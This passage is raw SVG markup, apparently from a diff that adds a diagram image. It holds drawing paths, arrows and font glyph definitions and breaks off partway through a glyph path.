6M450 372.664c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#e" x="127.289" y="351.477"/><use xlink:href="#f" x="138.441" y="351.477"/><use xlink:href="#g" x="150.102" y="351.477"/><use xlink:href="#h" x="157.504" y="351.477"/><use xlink:href="#i" x="175.082" y="351.477"/><use xlink:href="#j" x="185.883" y="351.477"/><use xlink:href="#k" x="193.305" y="351.477"/><use xlink:href="#l" x="199.027" y="351.477"/><use xlink:href="#m" x="205.316" y="351.477"/><use xlink:href="#n" x="211.82" y="351.477"/><use xlink:href="#o" x="223.383" y="351.477"/><use xlink:href="#p" x="238.207" y="351.477"/><use xlink:href="#q" x="252.738" y="351.477"/><use xlink:href="#k" x="256" y="351.477"/><use xlink:href="#r" x="261.098" y="351.477"/><use xlink:href="#s" x="274.594" y="351.477"/><use xlink:href="#t" x="291.801" y="351.477"/><use xlink:href="#q" x="303.012" y="351.477"/><use xlink:href="#k" x="306.273" y="351.477"/><use xlink:href="#u" x="311.996" y="351.477"/><use xlink:href="#n" x="324.359" y="351.477"/><use xlink:href="#v" x="335.922" y="351.477"/><use xlink:href="#w" x="348.422" y="351.477"/><path d="M221.379 248.586v50.851" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M226.379 248.586l-5-10-5 10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><use xlink:href="#x" x="271.188" y="253.488"/><use xlink:href="#y" x="278.629" y="253.488"/><use xlink:href="#z" x="286.539" y="253.488"/><use xlink:href="#A" x="292.652" y="253.488"/><use xlink:href="#B" x="300.426" y="253.488"/><use xlink:href="#x" x="308.219" y="253.488"/><g><use xlink:href="#B" x="169.305" y="293.488"/><use xlink:href="#x" x="177.098" y="293.488"/><use xlink:href="#z" x="184.422" y="293.488"/><use xlink:href="#A" x="190.535" y="293.488"/><use xlink:href="#B" x="198.309" y="293.488"/><use xlink:href="#x" x="206.102" y="293.488"/></g><path d="M100.29 112.105l-.216 188.805" fill="none" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M105.29 112.11l-4.993-10.005-5.008 9.993zm0 0" fill-rule="evenodd" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M32 28.957h418v63.707H32zm0 0M32 34.957v-6c-3.313 0-6 2.688-6 6zm0 0M450 34.957h6c0-3.312-2.688-6-6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M26 34.957h430v51.707H26zm0 0M32 86.664h-6c0 3.313 2.688 6 6 6zm0 0M450 86.664v6c3.313 0 6-2.687 6-6zm0 0" fill-rule="evenodd" fill="#f2f2f2"/><path d="M32 28.957h418M32 92.664h418M32 28.957c-3.313 0-6 2.688-6 6M456 34.957c0-3.312-2.687-6-6-6M26 34.957v51.707M456 34.957v51.707M26 86.664c0 3.313 2.687 6 6 6M450 92.664c3.312 0 6-2.687 6-6" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#o" x="210.844" y="71.477"/><use xlink:href="#C" x="225.668" y="71.477"/><use xlink:href="#D" x="237.387" y="71.477"/><use xlink:href="#E" x="243.188" y="71.477"/><use xlink:href="#F" x="254.145" y="71.477"/><use xlink:href="#j" x="263.754" y="71.477"/></g><g><use xlink:href="#G" x="16.973" y="207.512"/><use xlink:href="#H" x="25.625" y="207.512"/><use xlink:href="#I" x="33.887" y="207.512"/><use xlink:href="#H" x="40.645" y="207.512"/><use xlink:href="#b" x="48.906" y="207.512"/><use xlink:href="#J" x="54.395" y="207.512"/><use xlink:href="#c" x="58.73" y="207.512"/><use xlink:href="#K" x="66.738" y="207.512"/><use xlink:href="#J" x="71.406" y="207.512"/><use xlink:href="#L" x="75.742" y="207.512"/><use xlink:href="#H" x="82.734" y="207.512"/></g><g><use xlink:href="#I" x="389.355" y="207.512"/><use xlink:href="#H" x="396.113" y="207.512"/><use xlink:href="#b" x="404.375" y="207.512"/><use xlink:href="#J" x="409.863" y="207.512"/><use xlink:href="#c" x="414.199" y="207.512"/><use xlink:href="#K" x="422.207" y="207.512"/><use xlink:href="#J" x="426.875" y="207.512"/><use xlink:href="#L" x="431.211" y="207.512"/><use xlink:href="#H" x="438.203" y="207.512"/></g><path d="M265.625 99.867v49" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M260.625 148.867l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M221.379 111.105v50.852" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M226.379 111.105l-5-10-5 10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><g><use xlink:href="#y" x="271.188" y="115.75"/><use xlink:href="#A" x="279.098" y="115.75"/><use xlink:href="#M" x="286.871" y="115.75"/><use xlink:href="#N" x="291.813" y="115.75"/><use xlink:href="#O" x="303.531" y="115.75"/><use xlink:href="#P" x="310.738" y="115.75"/><use xlink:href="#Q" x="314.938" y="115.75"/><use xlink:href="#R" x="318.844" y="115.75"/><use xlink:href="#x" x="325.133" y="115.75"/></g><g><use xlink:href="#B" x="136.902" y="155.75"/><use xlink:href="#x" x="144.695" y="155.75"/><use xlink:href="#y" x="152.137" y="155.75"/><use xlink:href="#A" x="160.047" y="155.75"/><use xlink:href="#M" x="167.82" y="155.75"/><use xlink:href="#N" x="172.762" y="155.75"/><use xlink:href="#O" x="184.48" y="155.75"/><use xlink:href="#P" x="191.688" y="155.75"/><use xlink:href="#Q" x="195.887" y="155.75"/><use xlink:href="#R" x="199.793" y="155.75"/><use xlink:href="#x" x="206.082" y="155.75"/></g><path d="M380.023 100.145l-.214 188.804" fill="none" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M374.809 288.945l4.988 10.004 5.012-9.992zm0 0" fill-rule="evenodd" stroke-width="4" stroke="#000" stroke-miterlimit="10"/><path d="M265.625 237.348v49" fill="none" stroke-width="2" stroke="#000" stroke-miterlimit="10"/><path d="M260.625 286.348l5 10 5-10zm0 0" fill-rule="evenodd" stroke-width="2" stroke="#000" stroke-miterlimit="10"/></svg>
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="498pt" height="404pt" viewBox="0 0 498 404" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 3.59375 L 1.015625 -14.328125 L 11.171875 -14.328125 L 11.171875 3.59375 Z M 2.15625 2.46875 L 10.046875 2.46875 L 10.046875 -13.1875 L 2.15625 -13.1875 Z M 2.15625 2.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 6.953125 -12.84375 L 4.234375 -5.46875 L 9.671875 -5.46875 Z M 5.8125 -14.8125 L 8.09375 -14.8125 L 13.734375 0 L 11.65625 0 L 10.296875 -3.796875 L 3.625 -3.796875 L 2.265625 0 L 0.15625 0 Z M 5.8125 -14.8125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 8.359375 -9.40625 C 8.148438 -9.53125 7.925781 -9.617188 7.6875 -9.671875 C 7.445312 -9.722656 7.179688 -9.75 6.890625 -9.75 C 5.859375 -9.75 5.066406 -9.410156 4.515625 -8.734375 C 3.960938 -8.066406 3.6875 -7.109375 3.6875 -5.859375 L 3.6875 0 L 1.84375 0 L 1.84375 -11.109375 L 3.6875 -11.109375 L 3.6875 -9.390625 C 4.070312 -10.066406 4.570312 -10.566406 5.1875 -10.890625 C 5.800781 -11.222656 6.546875 -11.390625 7.421875 -11.390625 C 7.546875 -11.390625 7.679688 -11.378906 7.828125 -11.359375 C 7.984375 -11.335938 8.15625 -11.3125 8.34375 -11.28125 Z M 8.359375 -9.40625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 6.96875 -5.59375 C 5.488281 -5.59375 4.460938 -5.421875 3.890625 -5.078125 C 3.328125 -4.742188 3.046875 -4.171875 3.046875 -3.359375 C 3.046875 -2.703125 3.257812 -2.179688 3.6875 -1.796875 C 4.113281 -1.421875 4.691406 -1.234375 5.421875 -1.234375 C 6.441406 -1.234375 7.253906 -1.59375 7.859375 -2.3125 C 8.472656 -3.03125 8.78125 -3.988281 8.78125 -5.1875 L 8.78125 -5.59375 Z M 10.609375 -6.34375 L 10.609375 0 L 8.78125 0 L 8.78125 -1.6875 C 8.363281 -1.007812 7.84375 -0.507812 7.21875 -0.1875 C 6.601562 0.125 5.84375 0.28125 4.9375 0.28125 C 3.800781 0.28125 2.894531 -0.0351562 2.21875 -0.671875 C 1.550781 -1.304688 1.21875 -2.160156 1.21875 -3.234375 C 1.21875 -4.484375 1.632812 -5.425781 2.46875 -6.0625 C 3.3125 -6.695312 4.5625 -7.015625 6.21875 -7.015625 L 8.78125 -7.015625 L 8.78125 -7.203125 C 8.78125 -8.035156 8.503906 -8.679688 7.953125 -9.140625 C 7.398438 -9.609375 6.625 -9.84375 5.625 -9.84375 C 4.988281 -9.84375 4.367188 -9.765625 3.765625 -9.609375 C 3.171875 -9.453125 2.59375 -9.222656 2.03125 -8.921875 L 2.03125 -10.609375 C 2.695312 -10.867188 3.34375 -11.0625 3.96875 -11.1875 C 4.601562 -11.320312 5.21875 -11.390625 5.8125 -11.390625 C 7.425781 -11.390625 8.628906 -10.972656 9.421875 -10.140625 C 10.210938 -9.304688 10.609375 -8.039062 10.609375 -6.34375 Z M 10.609375 -6.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 6.546875 1.03125 C 6.023438 2.351562 5.519531 3.21875 5.03125 3.625 C 4.539062 4.03125 3.882812 4.234375 3.0625 4.234375 L 1.609375 4.234375 L 1.609375 2.703125 L 2.6875 2.703125 C 3.1875 2.703125 3.570312 2.582031 3.84375 2.34375 C 4.125 2.101562 4.4375 1.539062 4.78125 0.65625 L 5.109375 -0.171875 L 0.609375 -11.109375 L 2.546875 -11.109375 L 6.015625 -2.421875 L 9.484375 -11.109375 L 11.421875 -11.109375 Z M 6.546875 1.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 9.234375 -9.421875 L 9.234375 -15.4375 L 11.0625 -15.4375 L 11.0625 0 L 9.234375 0 L 9.234375 -1.671875 C 8.847656 -1.003906 8.363281 -0.507812 7.78125 -0.1875 C 7.195312 0.125 6.492188 0.28125 5.671875 0.28125 C 4.328125 0.28125 3.234375 -0.25 2.390625 -1.3125 C 1.546875 -2.382812 1.125 -3.796875 1.125 -5.546875 C 1.125 -7.296875 1.546875 -8.707031 2.390625 -9.78125 C 3.234375 -10.851562 4.328125 -11.390625 5.671875 -11.390625 C 6.492188 -11.390625 7.195312 -11.226562 7.78125 -10.90625 C 8.363281 -10.582031 8.847656 -10.085938 9.234375 -9.421875 Z M 3 -5.546875 C 3 -4.203125 3.273438 -3.144531 3.828125 -2.375 C 4.390625 -1.613281 5.148438 -1.234375 6.109375 -1.234375 C 7.078125 -1.234375 7.835938 -1.613281 8.390625 -2.375 C 8.953125 -3.144531 9.234375 -4.203125 9.234375 -5.546875 C 9.234375 -6.890625 8.953125 -7.941406 8.390625 -8.703125 C 7.835938 -9.472656 7.078125 -9.859375 6.109375 -9.859375 C 5.148438 -9.859375 4.390625 -9.472656 3.828125 -8.703125 C 3.273438 -7.941406 3 -6.890625 3 -5.546875 Z M 3 -5.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 11.421875 -6.015625 L 11.421875 -5.125 L 3.03125 -5.125 C 3.101562 -3.863281 3.476562 -2.90625 4.15625 -2.25 C 4.84375 -1.59375 5.789062 -1.265625 7 -1.265625 C 7.695312 -1.265625 8.375 -1.347656 9.03125 -1.515625 C 9.695312 -1.691406 10.351562 -1.953125 11 -2.296875 L 11 -0.5625 C 10.34375 -0.289062 9.671875 -0.0820312 8.984375 0.0625 C 8.296875 0.207031 7.597656 0.28125 6.890625 0.28125 C 5.117188 0.28125 3.710938 -0.234375 2.671875 -1.265625 C 1.640625 -2.296875 1.125 -3.691406 1.125 -5.453125 C 1.125 -7.265625 1.613281 -8.707031 2.59375 -9.78125 C 3.570312 -10.851562 4.898438 -11.390625 6.578125 -11.390625 C 8.066406 -11.390625 9.242188 -10.90625 10.109375 -9.9375 C 10.984375 -8.976562 11.421875 -7.671875 11.421875 -6.015625 Z M 9.59375 -6.546875 C 9.582031 -7.546875 9.300781 -8.34375 8.75 -8.9375 C 8.207031 -9.539062 7.488281 -9.84375 6.59375 -9.84375 C 5.570312 -9.84375 4.753906 -9.550781 4.140625 -8.96875 C 3.523438 -8.394531 3.175781 -7.585938 3.09375 -6.546875 Z M 9.59375 -6.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 9 -10.796875 L 9 -9.0625 C 8.488281 -9.320312 7.953125 -9.519531 7.390625 -9.65625 C 6.835938 -9.789062 6.265625 -9.859375 5.671875 -9.859375 C 4.765625 -9.859375 4.082031 -9.71875 3.625 -9.4375 C 3.175781 -9.15625 2.953125 -8.738281 2.953125 -8.1875 C 2.953125 -7.757812 3.113281 -7.425781 3.4375 -7.1875 C 3.757812 -6.945312 4.410156 -6.71875 5.390625 -6.5 L 6.015625 -6.359375 C 7.304688 -6.085938 8.222656 -5.695312 8.765625 -5.1875 C 9.316406 -4.675781 9.59375 -3.96875 9.59375 -3.0625 C 9.59375 -2.03125 9.179688 -1.210938 8.359375 -0.609375 C 7.546875 -0.015625 6.425781 0.28125 5 0.28125 C 4.40625 0.28125 3.785156 0.222656 3.140625 0.109375 C 2.492188 -0.00390625 1.816406 -0.175781 1.109375 -0.40625 L 1.109375 -2.296875 C 1.773438 -1.941406 2.4375 -1.675781 3.09375 -1.5 C 3.75 -1.320312 4.398438 -1.234375 5.046875 -1.234375 C 5.898438 -1.234375 6.554688 -1.378906 7.015625 -1.671875 C 7.484375 -1.972656 7.71875 -2.390625 7.71875 -2.921875 C 7.71875 -3.421875 7.550781 -3.800781 7.21875 -4.0625 C 6.882812 -4.332031 6.148438 -4.585938 5.015625 -4.828125 L 4.390625 -4.984375 C 3.253906 -5.222656 2.4375 -5.585938 1.9375 -6.078125 C 1.4375 -6.566406 1.1875 -7.242188 1.1875 -8.109375 C 1.1875 -9.148438 1.554688 -9.957031 2.296875 -10.53125 C 3.035156 -11.101562 4.085938 -11.390625 5.453125 -11.390625 C 6.128906 -11.390625 6.765625 -11.335938 7.359375 -11.234375 C 7.953125 -11.140625 8.5 -10.992188 9 -10.796875 Z M 9 -10.796875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.921875 -11.109375 L 3.734375 -11.109375 L 3.734375 0 L 1.921875 0 Z M 1.921875 -15.4375 L 3.734375 -15.4375 L 3.734375 -13.125 L 1.921875 -13.125 Z M 1.921875 -15.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
+<path style="stroke:none;" d="M 1.921875 -15.4375 L 3.734375 -15.4375 L 3.734375 0 L 1.921875 0 Z M 1.921875 -15.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-10">
+<path style="stroke:none;" d="M 1.125 -11.109375 L 9.796875 -11.109375 L 9.796875 -9.453125 L 2.921875 -1.453125 L 9.796875 -1.453125 L 9.796875 0 L 0.875 0 L 0.875 -1.671875 L 7.734375 -9.65625 L 1.125 -9.65625 Z M 1.125 -11.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 1.296875 4.59375 L 1.296875 -18.3125 L 14.28125 -18.3125 L 14.28125 4.59375 Z M 2.75 3.140625 L 12.828125 3.140625 L 12.828125 -16.859375 L 2.75 -16.859375 Z M 2.75 3.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 13.421875 -18.9375 L 13.421875 -16.78125 L 5.109375 -16.78125 L 5.109375 -11.203125 L 12.609375 -11.203125 L 12.609375 -9.046875 L 5.109375 -9.046875 L 5.109375 0 L 2.546875 0 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 7.953125 -12.5625 C 6.703125 -12.5625 5.710938 -12.070312 4.984375 -11.09375 C 4.253906 -10.125 3.890625 -8.789062 3.890625 -7.09375 C 3.890625 -5.394531 4.25 -4.054688 4.96875 -3.078125 C 5.695312 -2.097656 6.691406 -1.609375 7.953125 -1.609375 C 9.191406 -1.609375 10.175781 -2.097656 10.90625 -3.078125 C 11.632812 -4.054688 12 -5.394531 12 -7.09375 C 12 -8.769531 11.632812 -10.097656 10.90625 -11.078125 C 10.175781 -12.066406 9.191406 -12.5625 7.953125 -12.5625 Z M 7.953125 -14.546875 C 9.984375 -14.546875 11.578125 -13.882812 12.734375 -12.5625 C 13.890625 -11.25 14.46875 -9.425781 14.46875 -7.09375 C 14.46875 -4.757812 13.890625 -2.929688 12.734375 -1.609375 C 11.578125 -0.285156 9.984375 0.375 7.953125 0.375 C 5.910156 0.375 4.3125 -0.285156 3.15625 -1.609375 C 2.007812 -2.929688 1.4375 -4.757812 1.4375 -7.09375 C 1.4375 -9.425781 2.007812 -11.25 3.15625 -12.5625 C 4.3125 -13.882812 5.910156 -14.546875 7.953125 -14.546875 Z M 7.953125 -14.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 10.671875 -12.015625 C 10.410156 -12.171875 10.125 -12.285156 9.8125 -12.359375 C 9.507812 -12.429688 9.171875 -12.46875 8.796875 -12.46875 C 7.484375 -12.46875 6.472656 -12.035156 5.765625 -11.171875 C 5.054688 -10.316406 4.703125 -9.085938 4.703125 -7.484375 L 4.703125 0 L 2.359375 0 L 2.359375 -14.203125 L 4.703125 -14.203125 L 4.703125 -12 C 5.191406 -12.851562 5.828125 -13.488281 6.609375 -13.90625 C 7.398438 -14.332031 8.359375 -14.546875 9.484375 -14.546875 C 9.640625 -14.546875 9.816406 -14.535156 10.015625 -14.515625 C 10.210938 -14.492188 10.425781 -14.460938 10.65625 -14.421875 Z M 10.671875 -12.015625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 13.5 -11.46875 C 14.082031 -12.519531 14.78125 -13.296875 15.59375 -13.796875 C 16.40625 -14.296875 17.363281 -14.546875 18.46875 -14.546875 C 19.945312 -14.546875 21.085938 -14.023438 21.890625 -12.984375 C 22.691406 -11.953125 23.09375 -10.484375 23.09375 -8.578125 L 23.09375 0 L 20.75 0 L 20.75 -8.5 C 20.75 -9.851562 20.503906 -10.859375 20.015625 -11.515625 C 19.535156 -12.179688 18.800781 -12.515625 17.8125 -12.515625 C 16.601562 -12.515625 15.644531 -12.113281 14.9375 -11.3125 C 14.238281 -10.507812 13.890625 -9.414062 13.890625 -8.03125 L 13.890625 0 L 11.546875 0 L 11.546875 -8.5 C 11.546875 -9.863281 11.304688 -10.875 10.828125 -11.53125 C 10.347656 -12.1875 9.601562 -12.515625 8.59375 -12.515625 C 7.40625 -12.515625 6.457031 -12.109375 5.75 -11.296875 C 5.050781 -10.492188 4.703125 -9.40625 4.703125 -8.03125 L 4.703125 0 L 2.359375 0 L 2.359375 -14.203125 L 4.703125 -14.203125 L 4.703125 -12 C 5.234375 -12.863281 5.867188 -13.503906 6.609375 -13.921875 C 7.359375 -14.335938 8.242188 -14.546875 9.265625 -14.546875 C 10.296875 -14.546875 11.171875 -14.28125 11.890625 -13.75 C 12.617188 -13.226562 13.15625 -12.46875 13.5 -11.46875 Z M 13.5 -11.46875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 8.90625 -7.140625 C 7.019531 -7.140625 5.710938 -6.921875 4.984375 -6.484375 C 4.253906 -6.054688 3.890625 -5.320312 3.890625 -4.28125 C 3.890625 -3.457031 4.160156 -2.800781 4.703125 -2.3125 C 5.253906 -1.820312 6 -1.578125 6.9375 -1.578125 C 8.226562 -1.578125 9.265625 -2.035156 10.046875 -2.953125 C 10.828125 -3.878906 11.21875 -5.101562 11.21875 -6.625 L 11.21875 -7.140625 Z M 13.5625 -8.109375 L 13.5625 0 L 11.21875 0 L 11.21875 -2.15625 C 10.6875 -1.289062 10.023438 -0.648438 9.234375 -0.234375 C 8.441406 0.171875 7.46875 0.375 6.3125 0.375 C 4.863281 0.375 3.707031 -0.03125 2.84375 -0.84375 C 1.988281 -1.664062 1.5625 -2.765625 1.5625 -4.140625 C 1.5625 -5.734375 2.09375 -6.9375 3.15625 -7.75 C 4.226562 -8.5625 5.828125 -8.96875 7.953125 -8.96875 L 11.21875 -8.96875 L 11.21875 -9.1875 C 11.21875 -10.257812 10.863281 -11.085938 10.15625 -11.671875 C 9.457031 -12.265625 8.46875 -12.5625 7.1875 -12.5625 C 6.375 -12.5625 5.582031 -12.460938 4.8125 -12.265625 C 4.050781 -12.078125 3.3125 -11.789062 2.59375 -11.40625 L 2.59375 -13.5625 C 3.445312 -13.882812 4.273438 -14.128906 5.078125 -14.296875 C 5.890625 -14.460938 6.675781 -14.546875 7.4375 -14.546875 C 9.488281 -14.546875 11.019531 -14.007812 12.03125 -12.9375 C 13.050781 -11.875 13.5625 -10.265625 13.5625 -8.109375 Z M 13.5625 -8.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 4.75 -18.234375 L 4.75 -14.203125 L 9.5625 -14.203125 L 9.5625 -12.390625 L 4.75 -12.390625 L 4.75 -4.671875 C 4.75 -3.515625 4.90625 -2.769531 5.21875 -2.4375 C 5.539062 -2.113281 6.191406 -1.953125 7.171875 -1.953125 L 9.5625 -1.953125 L 9.5625 0 L 7.171875 0 C 5.367188 0 4.125 -0.332031 3.4375 -1 C 2.75 -1.675781 2.40625 -2.898438 2.40625 -4.671875 L 2.40625 -12.390625 L 0.703125 -12.390625 L 0.703125 -14.203125 L 2.40625 -14.203125 L 2.40625 -18.234375 Z M 4.75 -18.234375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 8.046875 -19.703125 C 6.921875 -17.753906 6.082031 -15.828125 5.53125 -13.921875 C 4.976562 -12.023438 4.703125 -10.101562 4.703125 -8.15625 C 4.703125 -6.195312 4.976562 -4.257812 5.53125 -2.34375 C 6.082031 -0.4375 6.921875 1.484375 8.046875 3.421875 L 6.015625 3.421875 C 4.753906 1.429688 3.804688 -0.519531 3.171875 -2.4375 C 2.546875 -4.351562 2.234375 -6.257812 2.234375 -8.15625 C 2.234375 -10.039062 2.546875 -11.9375 3.171875 -13.84375 C 3.796875 -15.757812 4.742188 -17.710938 6.015625 -19.703125 Z M 8.046875 -19.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 5.109375 -18.9375 L 5.109375 -1.3125 C 5.109375 0.96875 4.675781 2.625 3.8125 3.65625 C 2.945312 4.6875 1.550781 5.203125 -0.375 5.203125 L -1.34375 5.203125 L -1.34375 3.046875 L -0.546875 3.046875 C 0.585938 3.046875 1.382812 2.726562 1.84375 2.09375 C 2.3125 1.457031 2.546875 0.320312 2.546875 -1.3125 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 13.890625 -18.3125 L 13.890625 -15.8125 C 12.921875 -16.28125 12.003906 -16.625 11.140625 -16.84375 C 10.285156 -17.070312 9.453125 -17.1875 8.640625 -17.1875 C 7.253906 -17.1875 6.179688 -16.914062 5.421875 -16.375 C 4.660156 -15.84375 4.28125 -15.078125 4.28125 -14.078125 C 4.28125 -13.234375 4.53125 -12.597656 5.03125 -12.171875 C 5.539062 -11.742188 6.5 -11.398438 7.90625 -11.140625 L 9.453125 -10.828125 C 11.359375 -10.460938 12.765625 -9.820312 13.671875 -8.90625 C 14.578125 -7.988281 15.03125 -6.757812 15.03125 -5.21875 C 15.03125 -3.382812 14.414062 -1.992188 13.1875 -1.046875 C 11.957031 -0.0976562 10.15625 0.375 7.78125 0.375 C 6.882812 0.375 5.929688 0.269531 4.921875 0.0625 C 3.910156 -0.132812 2.863281 -0.4375 1.78125 -0.84375 L 1.78125 -3.46875 C 2.820312 -2.882812 3.84375 -2.445312 4.84375 -2.15625 C 5.84375 -1.863281 6.820312 -1.71875 7.78125 -1.71875 C 9.25 -1.71875 10.378906 -2.003906 11.171875 -2.578125 C 11.960938 -3.148438 12.359375 -3.96875 12.359375 -5.03125 C 12.359375 -5.957031 12.070312 -6.679688 11.5 -7.203125 C 10.9375 -7.734375 10.003906 -8.128906 8.703125 -8.390625 L 7.140625 -8.703125 C 5.222656 -9.078125 3.835938 -9.671875 2.984375 -10.484375 C 2.140625 -11.296875 1.71875 -12.425781 1.71875 -13.875 C 1.71875 -15.539062 2.304688 -16.859375 3.484375 -17.828125 C 4.660156 -18.796875 6.285156 -19.28125 8.359375 -19.28125 C 9.242188 -19.28125 10.144531 -19.195312 11.0625 -19.03125 C 11.988281 -18.875 12.929688 -18.632812 13.890625 -18.3125 Z M 13.890625 -18.3125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 10.234375 -17.1875 C 8.367188 -17.1875 6.890625 -16.492188 5.796875 -15.109375 C 4.703125 -13.722656 4.15625 -11.835938 4.15625 -9.453125 C 4.15625 -7.066406 4.703125 -5.179688 5.796875 -3.796875 C 6.890625 -2.410156 8.367188 -1.71875 10.234375 -1.71875 C 12.085938 -1.71875 13.554688 -2.410156 14.640625 -3.796875 C 15.734375 -5.179688 16.28125 -7.066406 16.28125 -9.453125 C 16.28125 -11.835938 15.734375 -13.722656 14.640625 -15.109375 C 13.554688 -16.492188 12.085938 -17.1875 10.234375 -17.1875 Z M 10.234375 -19.28125 C 12.890625 -19.28125 15.007812 -18.390625 16.59375 -16.609375 C 18.1875 -14.828125 18.984375 -12.441406 18.984375 -9.453125 C 18.984375 -6.460938 18.1875 -4.078125 16.59375 -2.296875 C 15.007812 -0.515625 12.890625 0.375 10.234375 0.375 C 7.566406 0.375 5.4375 -0.507812 3.84375 -2.28125 C 2.25 -4.0625 1.453125 -6.453125 1.453125 -9.453125 C 1.453125 -12.441406 2.25 -14.828125 3.84375 -16.609375 C 5.4375 -18.390625 7.566406 -19.28125 10.234375 -19.28125 Z M 10.234375 -19.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 6 -18.9375 L 14.390625 -3.09375 L 14.390625 -18.9375 L 16.875 -18.9375 L 16.875 0 L 13.421875 0 L 5.03125 -15.84375 L 5.03125 0 L 2.546875 0 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 3.046875 -3.21875 L 5.71875 -3.21875 L 5.71875 -1.046875 L 3.640625 3.015625 L 2 3.015625 L 3.046875 -1.046875 Z M 3.046875 -3.21875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.640625 -18.9375 L 4.390625 -18.9375 L 9.09375 -11.890625 L 13.828125 -18.9375 L 16.578125 -18.9375 L 10.484375 -9.84375 L 16.984375 0 L 14.234375 0 L 8.90625 -8.046875 L 3.53125 0 L 0.78125 0 L 7.53125 -10.109375 Z M 1.640625 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 6.359375 -18.9375 L 11.203125 -6.046875 L 16.046875 -18.9375 L 19.875 -18.9375 L 19.875 0 L 17.375 0 L 17.375 -16.625 L 12.484375 -3.640625 L 9.921875 -3.640625 L 5.03125 -16.625 L 5.03125 0 L 2.546875 0 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 2.546875 -18.9375 L 5.109375 -18.9375 L 5.109375 -2.15625 L 14.328125 -2.15625 L 14.328125 0 L 2.546875 0 Z M 2.546875 -18.9375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 16.71875 -17.46875 L 16.71875 -14.765625 C 15.863281 -15.578125 14.945312 -16.179688 13.96875 -16.578125 C 12.988281 -16.972656 11.953125 -17.171875 10.859375 -17.171875 C 8.691406 -17.171875 7.03125 -16.507812 5.875 -15.1875 C 4.726562 -13.863281 4.15625 -11.953125 4.15625 -9.453125 C 4.15625 -6.953125 4.726562 -5.039062 5.875 -3.71875 C 7.03125 -2.394531 8.691406 -1.734375 10.859375 -1.734375 C 11.953125 -1.734375 12.988281 -1.929688 13.96875 -2.328125 C 14.945312 -2.722656 15.863281 -3.328125 16.71875 -4.140625 L 16.71875 -1.453125 C 15.820312 -0.847656 14.875 -0.390625 13.875 -0.078125 C 12.875 0.222656 11.816406 0.375 10.703125 0.375 C 7.835938 0.375 5.578125 -0.5 3.921875 -2.25 C 2.273438 -4.007812 1.453125 -6.410156 1.453125 -9.453125 C 1.453125 -12.492188 2.273438 -14.890625 3.921875 -16.640625 C 5.578125 -18.398438 7.835938 -19.28125 10.703125 -19.28125 C 11.835938 -19.28125 12.90625 -19.128906 13.90625 -18.828125 C 14.90625 -18.523438 15.84375 -18.070312 16.71875 -17.46875 Z M 